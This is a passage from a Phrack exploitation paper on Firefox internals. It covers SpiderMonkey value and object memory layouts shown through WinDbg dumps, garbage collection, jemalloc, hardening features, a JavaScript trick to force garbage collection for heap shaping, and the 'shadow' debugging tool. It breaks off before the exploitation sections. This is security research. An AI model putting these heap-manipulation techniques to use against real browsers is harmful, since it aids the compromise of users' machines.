Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 15 Issue 69 File 14
==Phrack Inc.==
Volume 0x0f, Issue 0x45, Phile #0x0e of 0x10
|=-----------------------------------------------------------------------=|
|=----------------=[ OR'LYEH? The Shadow over Firefox ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ argp ]=---------------------------------=|
|=-----------------------=[ argp@grhack.net ]=---------------------------=|
|=-----------------------------------------------------------------------=|
--[ Table of contents
1 - Introduction
2 - Firefox and SpiderMonkey internals
2.1 - Representation in memory
2.2 - Generational garbage collection (GGC)
2.3 - jemalloc (and GGC)
3 - Firefox's hardening features
3.1 - PresArena
3.2 - jemalloc heap sanitization
3.3 - Garbage collection
3.4 - Sandbox
4 - The shadow (over Firefox) utility
5 - Exploitation
5.1 - ArrayObjects inside ArrayObjects
5.2 - jemalloc feng shui
5.3 - xul.dll base leak and our location in memory
5.4 - EIP control
5.5 - Arbitrary memory leak
5.6 - Use-after-free bugs
6 - Conclusion
7 - References
8 - Source code
--[ 1 - Introduction
In this paper I will elaborate and expand on my Infiltrate 2015 talk of
the same title [INF]. Even a full hour-long conference talk is hardly
enough to present all the necessary background details or the full
technical depth of an exploitation subject. Therefore, I was quite happy
when the Phrack Staff approached me for writing a paper based on my
conference talk.
My goal for this paper is to define a reusable exploitation methodology
against the latest versions of the Mozilla Firefox browser in the context
of the modern protections provided by most operating systems. The term
'exploitation' here refers to leveraging memory corruption
vulnerabilities (of different types, i.e, buffer overflows, use-after-
frees, type confusions). By 'reusable methodology' I mean an attack
pattern that can be applied towards the exploitation of most
vulnerabilities and vulnerability classes. Although the material in this
paper are from the Windows version of Firefox, to the best of my
knowledge the included techniques can be used on all platforms supported
by Firefox.
Specifically, for all techniques and included code excerpts I have used
the latest version of Firefox (41.0.1 at the time of writing) on Windows
8.1 x86-64. Please note that Firefox stable on Windows (even on a x86-64
system) is x86.
--[ 2 - Firefox and SpiderMonkey internals
I will start by explaining some Firefox and SpiderMonkey internals that
are required for the exploitation methodology. SpiderMonkey (Firefox's
JavaScript engine) uses C++ variables of type JS::Value (or simply jsval)
to represent strings, numbers (both integers and doubles), objects (
including arrays and functions), booleans, and the special values null
and undefined [JSV]. When in JavaScript (JS) a string for example is
assigned to a variable or an object's attribute, the runtime must be able
to query its type. Therefore, jsvals must follow a representation that
encodes both values and types. SpiderMonkey uses the 64-bit IEEE-754
encoding [IFP] for this purpose. Specifically, jsval doubles use the full
64 bits for their value. All other jsvals (integers, strings, etc) are
encoded with 32 bits for a tag specifying their type and 32 bits for
their value. In Firefox's source code we can find the constants for the
jsval types at js/public/Value.h:
#define JSVAL_TYPE_DOUBLE ((uint8_t)0x00)
#define JSVAL_TYPE_INT32 ((uint8_t)0x01)
#define JSVAL_TYPE_UNDEFINED ((uint8_t)0x02)
#define JSVAL_TYPE_BOOLEAN ((uint8_t)0x03)
#define JSVAL_TYPE_MAGIC ((uint8_t)0x04)
#define JSVAL_TYPE_STRING ((uint8_t)0x05)
#define JSVAL_TYPE_SYMBOL ((uint8_t)0x06)
#define JSVAL_TYPE_NULL ((uint8_t)0x07)
#define JSVAL_TYPE_OBJECT ((uint8_t)0x08)
These constants are then used to get the 32-bit jsval tags for the
different types:
#define JSVAL_TAG_CLEAR ((uint32_t)(0xFFFFFF80))
#define JSVAL_TAG_INT32 ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32))
#define JSVAL_TAG_UNDEFINED ((uint32_t)(JSVAL_TAG_CLEAR | \
JSVAL_TYPE_UNDEFINED))
#define JSVAL_TAG_STRING ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING))
#define JSVAL_TAG_SYMBOL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL))
#define JSVAL_TAG_BOOLEAN ((uint32_t)(JSVAL_TAG_CLEAR | \
JSVAL_TYPE_BOOLEAN))
#define JSVAL_TAG_MAGIC ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC))
#define JSVAL_TAG_NULL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL))
#define JSVAL_TAG_OBJECT ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT))
When the SpiderMonkey runtime queries a jsval for its type, if its 32-bit
tag value is greater than 0xFFFFFF80 (the JSVAL_TAG_CLEAR define from
above) then the 64 bits are interpreted as a jsval of the corresponding
type. If the tag value is less or equal to 0xFFFFFF80 then the 64 bits
are interpreted as an IEEE-754 double. An important note at this point
that I will refer to later on is that there is no IEEE-754 64-bit double
that corresponds to a 32-bit encoded value greater than 0xFFF00000.
Apart from jsvals, SpiderMonkey also uses complex objects of type JSObject
[JSO] to represent various JavaScript objects (jsobjects). In essence
these are mappings from names (object properties) to values. To avoid
expensive dictionary lookups from these properties to their corresponding
values (which are stored in an array of the jsobject) SpiderMonkey uses
what is called a shape. Shapes are structural descriptions that point
directly from property names to the array indexes that hold their values.
The JSObject class uses the NativeObject class for its internal
implementation (to be precise the NativeObject class inherits from the
JSObject class). These complex objects also contain an inline dynamically-
sized (but up to a limit) array that is used to store named properties,
and elements of JavaScript arrays and typed arrays. The first (named
properties) are indexed by the slots_ pointer, and the latter (array
elements) by the elements_ pointer. The actual storage can be either the
inline jsobject storage or a dynamically allocated region on the heap.
Moreover, jsobject arrays have a header; this header is described by the
ObjectElements class. The definition of the JSObject class can be found at
js/src/jsobj.h, and those of NativeObject and ObjectElements at
js/src/vm/NativeObject.h. Below I will discuss all of them together
(think of it as pseudocode) and only their relevant to the paper fields:
class NativeObject : public JSObject
{
/*
* From JSObject; structural description to avoid dictionary
* lookups from property names to slots_ array indexes.
*/
js::HeapPtrShape shape_;
/*
* From JSObject; the jsobject's type (unrelated to the jsval
* type I described above).
*/
js::HeapPtrTypeObject type_;
/*
* From NativeObject; pointer to the jsobject's properties'
* storage.
*/
js::HeapSlot *slots_;
/*
* From NativeObject; pointer to the jsobject's elements' storage.
* This is used by JavaScript arrays and typed arrays. The
* elements of JavaScript arrays are jsvals as I described them
* above.
*/
js::HeapSlot *elements_;
/*
* From ObjectElements; how are data written to elements_ and
* other metadata.
*/
uint32_t flags;
/*
* From ObjectElements; number of initialized elements, less or
* equal to the capacity (see below) for non-array jsobjects, and
* less or equal to the length (see below) for array jsobjects.
*/
uint32_t initializedLength;
/*
* From ObjectElements; number of allocated slots (for object
* properties).
*/
uint32_t capacity;
/*
* From ObjectElements; the length of array jsobjects.
*/
uint32_t length;
};
In the following sections of this paper I am going to refer back to this
as 'jsobject' (or the 'jsobject class'), which although isn't technically
correct (as I have explained above) will make the discussion simpler.
----[ 2.1 - Representation in memory
In order to get a better insight, let's look at the representation of
jsvals and jsobjects in memory. We have the following JavaScript code:
var arr = new Array(); // an array jsobject (ArrayObject)
arr[0] = 0x40414140; // [A] an integer
arr[1] = "Hello, Firefox!"; // [B] a string
arr[2] = 0x42434342;
arr[3] = true; // [C] a boolean
arr[4] = 0x44454544;
arr[5] = new Array(666); // [D] an object
// add some elements to the array
arr[5][0] = 666;
arr[5][1] = "sixsixsix";
arr[5][2] = 0.666;
arr[5][3] = false;
arr[5][4] = new Array(666);
arr[6] = 0x46474746;
arr[7] = null;
arr[8] = 0x48494948;
// [E] a typed array jsobject holding unsigned 32-bit integers
arr[9] = new Uint32Array(128);
// let's fill the typed array with some content
// total size: 128 * 4 == 512
for(var j = 0; j < 128; j += 2)
{
arr[9][j] = 0x61636361;
arr[9][j + 1] = 0x71737371;
}
arr[10] = 0x50515150;
arr[11] = 1.41424344; // [F] a double
arr[12] = 0x52535352;
// [G] and a bigger string
arr[13] = "Hello, Firefox, and hello again";
In WinDbg we search for our first integer marker value, that is 40414140,
and then we inspect the elements of the array we have defined:
0:000> s -d 0 0x0 l?0xffffffff 40414140
09e10980 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5.....
09e10a00 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5.....
The reason of finding our marker value twice will become clear below. Now
let's do a memory dump from a few dwords before the found value; I am
going to annotate the dump from WinDbg to make the discussion easier to
follow:
0:000> dd 09e10980-20 l?48
[ Our arr ArrayObject ]
shape_ type_ slots elements
09e10960 0eed89a0 0f3709b8 00000000 09e10a00
[ Metadata of the old elements,
the default length of ArrayObjects is 6 ]
flags initlen capacity length
09e10970 00000000 00000006 00000006 00000006
[ Old elements' address ]
09e10980 40414140 ffffff81 0f352880 ffffff85
09e10990 42434342 ffffff81 00000001 ffffff83
09e109a0 44454544 ffffff81 09e109b0 ffffff88
09e109b0 0eed89a0 0f3709e8 00000000 0c94e010
09e109c0 00000000 00000000 00000000 0000029a
09e109d0 0eed89a0 0f370a30 00000000 0d177010
09e109e0 00000000 00000000 00000000 0000029a
[ Metadata of relocated elements,
the length of our new ArrayObject is 0xe, or 14 in decimal ]
flags initlen capacity length
09e109f0 00000000 0000000e 0000000e 0000000e
[ New elements' address ]
int32 jsval [A] string jsval [B]
09e10a00 40414140 ffffff81 0f352880 ffffff85
bool jsval [C]
09e10a10 42434342 ffffff81 00000001 ffffff83
object jsval (ArrayObject) [D]
09e10a20 44454544 ffffff81 09e109b0 ffffff88
09e10a30 46474746 ffffff81 00000000 ffffff87
object jsval (typed array) [E]
09e10a40 48494948 ffffff81 12634520 ffffff88
double jsval [F]
09e10a50 50515150 ffffff81 bab61ee0 3ff6a0bd
string jsval [G]
09e10a60 52535352 ffffff81 0eef9730 ffffff85
At the start of the memory dump (at 09e10960) we can see the metadata of
our arr ArrayObject; the shape_, type_, slots and elements pointers. The
slots pointer is NULL since our jsobject has no named properties. The
elements pointer points to the jsval contents of the array at 09e10a00.
These are actually the relocated contents of the array. At address
09e10970 we can see the original metadata of the elements (the default
length of an array when not specified is always 6), and at 09e10980 the
original contents. The elements (along with their metadata) were
relocated while we were adding contents to the arr array.
The elements pointer after the relocation points to 09e10a00 where the
jsval contents begin. Four dwords before that, at 09e109f0, we have their
metadata; flags, initializedLength (or initlen), capacity, and length. As
expected, initlen, capacity, and length are all 0xe.
At 09e10a00 there is our integer marker value 40414140 and at 09e10a04 its
32-bit tag of ffffff81 denoting as an integer jsval [A]. At 09e10a08 we
can see the string jsval for [B]. Based on a) whether the underlying
platform is x86 or x86-64, b) the length of the jsval string, and c)
whether it is plain ASCII or unicode, the content bytes of the string are
either inline or not. On x86 the maximum length for an inline ASCII
string is 7 and 3 for unicode; on x86-64 it is 15 for ASCII and 7 for
unicode. Our [B] string has length 15 (0xf) therefore it is inlined.
Let's see the contents of the address that the [B] string jsval points to:
0:000> dd 0f352880
flags length string's contents
0f352880 0000005d 0000000f 6c6c6548 46202c6f
0f352890 66657269 0021786f 00737365 00000004
0:000> db 0f352880
0f352880 5d 00 00 00 0f 00 00 00-48 65 6c 6c 6f 2c 20 46 ]..Hello, F
0f352890 69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00 irefox!.ess
At 0f352880 it's the start of the metadata of our inline [B] string; the
flags (0x5d), the length (0xf == 15 in decimal) and then at 0f352888 the
ASCII contents of [B].
In contrast, the string jsval at 09e10a68 [G] is not inline. Again, the
tag value of [G] is ffffff85 denoting as a string, and it's value points
to 0eef9730:
0:000> dd 0eef9730
flags length pointer to string's contents
0eef9730 00000049 0000001f 0bcba840 00000000
0:000> dd 0bcba840
0bcba840 6c6c6548 46202c6f 66657269 202c786f
0bcba850 20646e61 6c6c6568 6761206f 006e6961
0:000> db 0bcba840
0bcba840 \
48 65 6c 6c 6f 2c 20 46-69 72 65 66 6f 78 2c 20 Hello, Firefox,
0bcba850 \
61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00 and hello again.
At 0eef9730 we have the flags (0x49), length (0x1f == 31 in decimal), and
at 0eef9738 a pointer to the actual bytes contents of the string (at
0bcba840). Actually SpiderMonkey strings are a lot more interesting and
useful, so I refer the interested reader to js/src/vm/String.h. However,
for the purposes of this paper the above details are adequate.
At 09e10a28 there is the [D] ArrayObject we have instantiated with a
capacity of 666 (or 0x29a in hex); its tag is ffffff88 denoting it as an
object, and its value is the address 09e109b0, where we can see the
ArrayObject metadata as we have talked about them before:
0:000> dd 09e109b0
shape_ type_ slots elements
09e109b0 0eed89a0 0f3709e8 00000000 0c94e010
flags initlen capacity length
09e109c0 00000000 00000000 00000000 0000029a
0:000> dd 0c94e010-10
flags initlen capacity length
0c94e000 00000000 00000005 0000029a 0000029a
arr[5][0] = 666; arr[5][1] = "sixsixsix";
0c94e010 0000029a ffffff81 0eed78a0 ffffff85
0c94e020 3b645a1d 3fe54fdf 00000000 ffffff83
0c94e030 09e109d0 ffffff88 5a5a5a5a 5a5a5a5a
The elements pointer of the [D] ArrayObject points to 0c94e010 where we
can see the first element of this array, i.e. arr[5][0], namely the
integer jsval 0x29a (or 666 in decimal). At 0c94e000 there are the
metadata associated with these elements.
Here we can clearly see the difference between the initializedLength, the
capacity, and the length of an ArrayObject. The initializedLength and the
capacity from the metadata at 09e109b0 are both zero, while it's length is
0x29a; this is the case since at [D] we simply declared an ArrayObject
with a length of 0x29a without actually adding any elements to it. Then
we added five elements (arr[5][0] to arr[5][4]), and the new
initializedLength became 5, while the capacity became equal to length,
i.e. 0x29a (all these from the metadata at 0c94e000).
Before we move on, let's also look at SpiderMonkey typed arrays since we
will use them in our attack methodology later on. Typed arrays are a very
useful JavaScript feature since they allow us to situate on the heap
arbitrary sized constructs of controlled content (to arbitrary byte
granularity). Previous Firefox attacks, like [P2O] and [REN], relied on
the fact that SpiderMonkey used to situate the actual content (data) and
the corresponding metadata of typed arrays contiguously in memory.
Unfortunately this is no longer the case; the GC tenured heap and the
jemalloc heap (both of which I will explain shortly) keep these
separated, even when we try to force such a layout. However, typed arrays
remain very useful.
At [E] we instantiate a Uint32Array object, i.e. a typed array jsobject
holding unsigned 32-bit integers, with an initial length of 128, whose
object-type jsval we can find at address 09e10a48; its value is the
address 12634520. There we see the Uint32Array object, starting with its
metadata (for example, at 12634538 its length of 0x80, or 128 in
decimal), and at 12634548 the pointer to the actual buffer contents of
the typed array (0dd73600).
0:000> dd 12634520
12634520 0af6c5c8 0f370e80 00000000 7475a930
12634530 126344f0 ffffff88 00000080 ffffff81
12634540 00000000 ffffff81 0dd73600 ffffff81
12634550 00000000 00000000 00000000 00000000
0:000> dd 0dd73600
0dd73600 61636361 71737371 61636361 71737371
0dd73610 61636361 71737371 61636361 71737371
0dd73620 61636361 71737371 61636361 71737371
0dd73630 61636361 71737371 61636361 71737371
0dd73640 61636361 71737371 61636361 71737371
0dd73650 61636361 71737371 61636361 71737371
0dd73660 61636361 71737371 61636361 71737371
0dd73670 61636361 71737371 61636361 71737371
As expected, the contents of the typed array at 0dd73600 are precisely
what we assigned in our code. The buffer that holds these contents is
allocated on the heap and its size is four times the number of uint32
elements we assigned to the typed array (since each element is four bytes
long). So, for our [E] typed array, its contents buffer at 0dd73600 is
512 bytes long (4 * 128 == 512).
----[ 2.2 - Generational garbage collection (GGC)
Since release 32.0 [F32] Firefox has a new garbage collection (GC)
implementation enabled by default (on all its supported operating
systems) called 'generational garbage collection' (GGC). In GGC there are
two separate heaps; a) the nursery on which most SpiderMonkey objects are
allocated, and b) the tenured or major heap which is more or less the old
(before release 32.0) normal SpiderMonkey GC heap. When the nursery
becomes full (or some other event happens) we have the so-called minor GC
pass. During this, all the temporary short-lived JavaScript objects on
the nursery are collected and the memory they were occupying becomes
again available to the nursery. On the other hand, the JavaScript objects
on the nursery that are reachable in the heap graph (i.e. alive) are
moved to the tenured heap (which also makes the memory they were
occupying available to the nursery). Once an object is moved to the
tenured heap, during a minor GC pass, it is checked for outgoing pointers
to other objects on the nursery heap. Such objects are moved from the
nursery to the tenured heap as well, since they are actually reachable.
This iterative process continues until all reachable objects
are moved from the nursery to the tenured heap, and the memory they were
occupying is set to available for the nursery. This generational (also
called 'moving') garbage collection approach has resulted in impressive
performance gains for SpiderMonkey since most JavaScript allocations are
indeed short-lived.
To make it clear how all the above fit in the context of the Firefox
browser, I should talk about JSRuntime [JSR]. An instantiated JSRuntime
object (see js/src/vm/Runtime.cpp for the class) holds all JavaScript
variables, objects, scripts, etc. SpiderMonkey as compiled for Firefox is
single-threaded by default, therefore Firefox usually has just one
JSRuntime. However, (web) workers can be launched/created and each one of
them has its own JSRuntime. Each different JSRuntime has one separate GGC
heap (nursery and tenured), and they don't share heap memory. Furthermore
they are isolated from each other; one JSRuntime cannot access objects
allocated by a different JSRuntime.
The nursery has a hardcoded size of 16 megabytes allocated with
VirtualAlloc() (or with mmap() on Linux). It operates as a standard bump
allocator; a pointer is maintained that points to the first unallocated
byte in the nursery memory area. To make an allocation of X bytes, first
there is a check if there are X bytes available in the nursery. If there
are, X is added to the pointer (the "bump") and its previous value is
returned to service the allocation request. If there aren't X bytes
available, a minor GC is triggered. During this GC pass the new object is
moved to the tenured heap, and if its slots or elements (see section 2.1)
are above a certain number they are moved to the jemalloc-managed heap.
The tenured heap (you may also see it referred to as 'major' or simply
'GC' heap in Firefox's code base) has its own metadata and algorithms to
manage memory. These are distinct from both the nursery and the jemalloc
heaps. Apart from being the heap for JavaScript objects that survived a
nursery GC pass, some allocations go directly on it bypassing the
nursery. Examples of such cases are known long-lived objects (e.g. global
objects), function objects (due to JIT requirements), and objects with
finalizers (i.e. most DOM objects). I will not go into more details for
the tenured heap since they are not relevant to the exploitation
methodology.
----[ 2.3 - jemalloc (and GGC)
In this section I will only discuss the necessary jemalloc knowledge you
require in order to follow the analysis in section 5. For a more detailed
treatise I refer you to another Phrack paper which is still applicable to
the current state of jemalloc [PSJ].
jemalloc is a bitmap allocator designed for performance and not primarily
memory utilization. One of its major design goals is to situate allocations
contiguously in memory. The latest version of jemalloc is 4.0.0 at this
time, but Firefox includes a version forked from major release 2. Firefox's
fork is called mozjemalloc in the source tree, but it doesn't include any
significant changes from jemalloc 2. It is used in Firefox for allocations
that become too big (based on some limits I will discuss shortly) for the
tenured heap. However, there are some exceptions; certain allocations
triggerable from JavaScript can bypass both the nursery and the tenured
heap and go directly to the jemalloc-managed heap. I will not discuss this
further, so you can consider it an exercise ;)
In jemalloc memory is divided into regions which are categorized according
to their size. Specifically, the size categories, called 'bins', in Firefox
are 2, 4, 8, 16, 32, 48, ..., 512, 1024, up to inclusive 2048. malloc()
requests larger than 2048 bytes are handled differently and are not in
scope for this paper. Each bin (or size category) is associated with
several 'runs'; these are the actual containers for the regions. A run can
span one or more virtual memory pages which are divided into regions of the
bin size that the run belongs to. Bins have the metadata for their runs and
through them free regions are located. The following diagram is a
simplified version of the original one from [PSJ] and summarizes the above
notes.
.--------------------------------. .--------------------------------.
| | | |
| Run #0 Run #1 | | Run #0 Run #1 |
| .-------------..-------------. | | .-------------..-------------. |
| | || | | | | || | |
| | Page || Page | | | | Page || Page | |
| | .---------. || .---------. | | | | .---------. || .---------. | |
| | | | || | | | | | | | | || | | | | ...
| | | Regions | || | Regions | | | | | | Regions | || | Regions | | |
| | |[] [] [] | || |[] [] [] | | | | | |[] [] [] | || |[] [] [] | | |
| | | ^ ^ | || | | | | | | | ^ ^ | || | | | |
| | `-|-----|-' || `---------' | | | | `-|-----|-' || `---------' | |
| `---|-----|---'`-------------' | | `---|-----|---'`-------------' |
`-----|-----|--------------------' `-----|-----|--------------------'
| | | |
| | | |
.---|-----|----------. .---|-----|----------.
| | | | | | | |
| free regions' list | ... | free regions' list | ...
| | | |
`--------------------' `--------------------'
bin of size category 8 bin of size category 16
Allocation requests (i.e. malloc() calls) are rounded up and assigned to a
bin. Then, through the bin's free regions' metadata, a run with a free
region is located. If none is found, a new run is allocated and assigned
to the specific bin. Therefore, this means that objects of different types
but with similar sizes that are rounded up to the same bin are contiguous
in the jemalloc heap. Another interesting feature of jemalloc is that it
operates in a last-in-first-out (LIFO) manner (see [PSJ] for the free
algorithm); a free followed by a garbage collection and a subsequent
allocation request for the same size, most likely ends up in the freed
region.
At this point let's utilize an example to see how the jemalloc heap is
used in Firefox along with the GGC heaps, namely nursery and tenured. In
the diagram below the nursery heap is nearly full and we have an
allocation request for a JSObject with an N number of slots.
...........................................................................
+-+ +-++-------+ +-------+ :
|T| Temporary |J|| slots | Survivor | | Free : jemalloc
| | object | || N | JSObject | | memory : +-----------+
+-+ +-++-------+ + slots +-------+ : | +-------+ |
....................................................... : | | slots | |
: | | N | |
Before minor GC : | +-------+ |
JSObject --------------- : | ^ ^ |
allocation : | | | |
request +-++-------+ : | | | |
Nursery doesn't have |J|| slots | : | | | |
free memory for +----------+| || N |+------------------+ | |
JSObject + its slots | +-++-------+ : | | |
+---------------+ | : | | |
| | : | | |
v v : | | |
+-----------------------+ +-----------------------+ : | | |
|+-++-++-++-++-++-++-++-+ |+-++-+ | : | | |
||T||T||T||T||T||T||T||J| ||J||J| | : | | |
|| || || || || || || || | || || | | : | | |
|+-++-++-++-++-++-++-++-+ |+-++-+ | : | | |
+-----------------------+ +-----------------------+ : | | |
Nursery + Tenured : | | |
| : | | |
| : | | |
+------------+ : | | |
| : | | |
.....................................|................. : | | |
| : | | |
First unallocated nursery byte | After minor GC : | | |
+-----+ | -------------- : +-------|---+
| | : |
v v : |
+-----------------------+ +-----------------------+ : |
| | |+-++-++-+ | : |
| | ||J||J||J|+------------------------------+
| | || || || | | : slots_ pointer
| | |+-++-++-+ | :
+-----------------------+ +-----------------------+ :
Nursery Tenured :
...........................................................................
The JSObject itself can fit (or not, doesn't affect the rest of the
events) in the free space of the nursery, but its slots cannot. So, the
JSObject is placed on the nursery and since it becomes full, a minor GC is
triggered. If it couldn't fit in the nursery a minor GC would also be
triggered. During this GC and assuming that the JSObject is a survivor
object, i.e. not a temporary one, it is moved from the nursery to the
tenured heap (or placed directly there if it couldn't fit in the nursery
in the first place). If the number of its slots N is greater than a
certain number (more on this later), they are not placed on the tenured
heap with the object itself. Instead, a new allocation for the size of the
N slots is made on the jemalloc heap, and the slots are placed there. Then
the slots_ pointer of the jsobject stores the address of the jemalloc heap
region that contains the slots.
--[ 3 - Firefox's hardening features
Firefox has some security hardening features that are useful to know if you
are doing or plan to do any exploit development for it. I will try to list
them all here to give you the references to start digging from, but I will
only expand on those that affect our goal for this paper.
----[ 3.1 - PresArena
PresArena is Gecko's specialized heap for CSS box objects (Gecko is
Firefox's layout engine). When a CSS box object is freed, the free
PresArena heap 'slot' is added to a free list based on its type. This means
that PresArena maintains separate free heap 'slot' lists for each different
CSS box object type. An allocation request is serviced from the free list
of the type of objects it is trying to allocate. This basically means that
for CSS box objects PresArena implements type-safe memory reuse, mostly
killing use-after-free exploitation. I say 'mostly' because in some cases a
use-after-free bug can still be exploitable via same-object-type trickery,
like playing with attributes' values for example.
PresArena also services types of objects that related to CSS box objects
but are not. The free lists of these objects are per size and not per type.
This of course means that use-after-free bugs for these object types are
exploitable as usual.
The code for PresArena is at layout/base/nsPresArena.{h, cpp}.
----[ 3.2 - jemalloc heap sanitization
Since jemalloc rounds up allocation requests to the closest size category
(bin), it is possible that a small object may be assigned to the same
region that a bigger object was occupying before being freed (both objects
smaller or equal to the size category of course). Therefore, in such a case
we could use the small object to read back memory left by the bigger
object. This could reveal DLL pointers and could help in bypassing ASLR. To
avoid this jemalloc sanitizes regions after they are freed. Current Firefox
versions use the value e5e5e5e5 to sanitize; older versions used a5a5a5a5.
This hardening feature also makes some uninitialized memory bugs
unexploitable. In any case, if you're fuzzing Firefox these are nice values
to look for in crash logs.
----[ 3.3 - Garbage collection
Being able to trigger a garbage collection on demand is fundamental when
trying to create specific object layouts on the heap. Firefox provides no
unprivileged JavaScript API to do this. Although not having an on-demand
GC API call is not listed as a hardening feature, it is clear that Firefox
developers actively try to remove direct execution paths from unprivileged
JavaScript functions to GC. A GC can be triggered for a variety of reasons;
Firefox has these divided into two major categories, those related to the
JavaScript engine and those that aren't. The second category includes
reasons related to the layout engine (for example frame refreshing), as
well as ones more general to the browser (for example when the main process
exits). You can find the names of all the reasons at js/public/GCAPI.h.
These are the start for finding ways to trigger a GC on demand from
unprivileged JavaScript code.
A simple one to get you started is TOO_MUCH_MALLOC. If you search for this
in Firefox's code and backtrace it with your favorite code reading tool,
you will conclude to the following execution path:
dom::CanvasRenderingContext2D::EnsureTarget()
+
|
+--> JS_updateMallocCounter()
+
|
+--> GCRuntime::updateMallocCounter()
+
|
+--> GCRuntime::onTooMuchMalloc()
+
|
+--> triggerGC(JS::gcreason::TOO_MUCH_MALLOC)
After reading dom::CanvasRenderingContext2D::EnsureTarget(), which is in
the file dom/canvas/CanvasRenderingContext2D.cpp, we can easily figure out
how to reach it:
var my_canvas = document.createElement("canvas");
my_canvas.id = "my_canvas";
my_canvas.width = "100";
my_canvas.height = "115";
document.body.appendChild(my_canvas);
for(var i = 0; i < 10; i++)
{
var my_context = my_canvas.getContext("2d");
my_canvas.width = 36666;
my_context.fillRect(21, 11, 66, 60);
}
You can find many others; some more reliable, some less, just read the
code. Another simple one is to repeatedly create strings and append them to
a DOM node; see the archive for this example. Just keep in mind that you
may have to tweak some parameters, like the number of repetitions, the size
of strings, etc, in order to get it to work on as many as possible
different systems with different characteristics (available RAM, Firefox
versions).
----[ 3.4 - Sandbox
I will only be discussing Firefox's sandbox on Windows; the Linux and OS X
implementations are based on different technologies, seccomp and Seatbelt,
but aim to achieve similar goals. All the code is available at
security/sandbox/{win, linux, mac}.
On Windows, Firefox is using the code of the Chromium sandbox. In short,
there is a parent process (broker) that is responsible for starting
sandboxed children processes (targets). The communication between the two
is implemented via a Firefox-specific C++ IPC called IPDL (Inter-process
communication Protocol Definition Language). There are three different
sandbox policies for children processes implemented, a) for layout content,
b) for media playback, and c) for other plugins. These are implemented by
the following functions, a) SetSecurityLevelForContentProcess(),
b) SetSecurityLevelForGMPlugin(), and c) SetSecurityLevelForPluginProcess()
respectively. You can find their implementations at
security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp.
Flash in Firefox is an out-of-process plugin. This means that Firefox
launches an executable called plugin-container.exe which then loads the
Flash plugin, sandboxed by Flash's own "protected mode". On Windows this
means that it is a low integrity process, has restricted access token
capabilities, is not allowed to launch new processes, etc. Firefox plans to
stop enabling Flash's protected mode and place Flash under the above
Chromium-based sandbox as well, but this is not the case currently
(41.0.1).
--[ 4 - The shadow (over Firefox) utility
I initially re-designed unmask_jemalloc [UNJ] (a GDB/Python tool we have
written with huku) with a modular design to support all three main
debuggers and platforms (WinDBG, GDB and LLDB). I renamed the tool to
shadow when I added Firefox/Windows/WinDBG-only features.
The following is an overview of the new design (read the arrows as
"imports"). The goal is to have all debugger-dependent code in the *_driver
and *_engine modules.
---------------------------------------------------------------------------
debugger-required
frontend (glue)
+------------+ +-------------+ +-------------+
| gdb_driver | | lldb_driver | | pykd_driver |
+------------+ +-------------+ +-------------+
^ ^ ^
| | |
----------+-------------------+-------------------+------------------------
| | |
| +--------+ |
+-----------------------+ | +-----+ core logic
| | | (debugger-agnostic)
| | |
| | |
+-----------------+
+------+ | |
| |---------------> | shadow |<-----+
| util | +------> | | |
| | | +-----------------+ |
+------+ | ^ ^ ^ ^ |
| | | | | | | | | +--------+
| | | +-----+----------+ | +----+--------+---| symbol |
| | | | | | | | +--------+
+-+ | | | +----------+ | | | +---------+
| | | | | jemalloc | | +--------+---| nursery |
| | | | +----------+ | | +---------+
| | | | ^ ^ ^ | |
| | | | | | | | |
| | | | | | +------+--------+ |
| | | | | | | | |
| | +---+---+----+----------+--------+-----+ |
| | | | | | | | |
| +-----+---+----+----+ | | | |
| | | | | | | | |
------+---------+---+----+----+-----+--------+-----+----+------------------
| | | | | | | | |
| | | | | | | | | debugger
| | | | | | | | | dependent APIs
| | | | | | | | |
| | | | | | | | |
| | | | v | | v |
| +------------+ | +-------------+ | +-------------+
+->| gdb_engine | +--| lldb_engine | +--| pykd_engine |
+------------+ +-------------+ +-------------+
^ ^ ^
| | |
+---+ +---------+ +---------------+
| | |
| | |
-----------+-------------+-------------+-----------------------------------
| | |
| | | debugger-provided backend
| | |
| | |
+-----+ +------+ +------+
| gdb | | lldb | | pykd |
+-----+ +------+ +------+
---------------------------------------------------------------------------
shadow can help you during Firefox exploit development when you're trying
to understand the impact of your JavaScript code on the heap. The symbol
command allows you to search for SpiderMonkey and DOM classes (and
structures) of specific sizes. This is useful when you're trying to exploit
use-after-free bugs, or when you want to position interesting victim
objects to overwrite/corrupt. All the supported commands are:
0:000> !py c:\\tmp\\shadow\\pykd_driver help
[shadow] De Mysteriis Dom Firefox
[shadow] v1.0b
[shadow] jemalloc-specific commands:
[shadow] jechunks : dump info on all available chunks
[shadow] jearenas : dump info on jemalloc arenas
[shadow] jerun <address> : dump info on a single run
[shadow] jeruns [-cs] : dump info on jemalloc runs
[shadow] -c: current runs only
[shadow] -s <size class>: runs for the given size
[shadow] class only
[shadow] jebins : dump info on jemalloc bins
[shadow] jeregions <size class> : dump all current regions of the
[shadow] given size class
[shadow] jesearch [-cfqs] <hex> : search the heap for the given hex
[shadow] dword
[shadow] -c: current runs only
[shadow] -q: quick search (less
[shadow] details)
[shadow] -s <size class>: regions of the given size
[shadow] only
[shadow] -f: search for filled region
[shadow] holes)
[shadow] jeinfo <address> : display all available details for
[shadow] an address
[shadow] jedump [filename] : dump all available jemalloc info
[shadow] to screen (default) or file
[shadow] jeparse : parse jemalloc structures from
[shadow] memory
[shadow] Firefox-specific commands:
[shadow] nursery : display info on the SpiderMonkey
[shadow] GC nursery
[shadow] symbol [-vjdx] <size> : display all Firefox symbols of the
[shadow] given size
[shadow] -v: only class symbols with
[shadow] vtable
[shadow] -j: only symbols from
[shadow] SpiderMonkey
[shadow] -d: only DOM symbols
[shadow] -x: only non-SpiderMonkey
[shadow] symbols
[shadow] pa <address> [<length>] : modify the ArrayObject's length
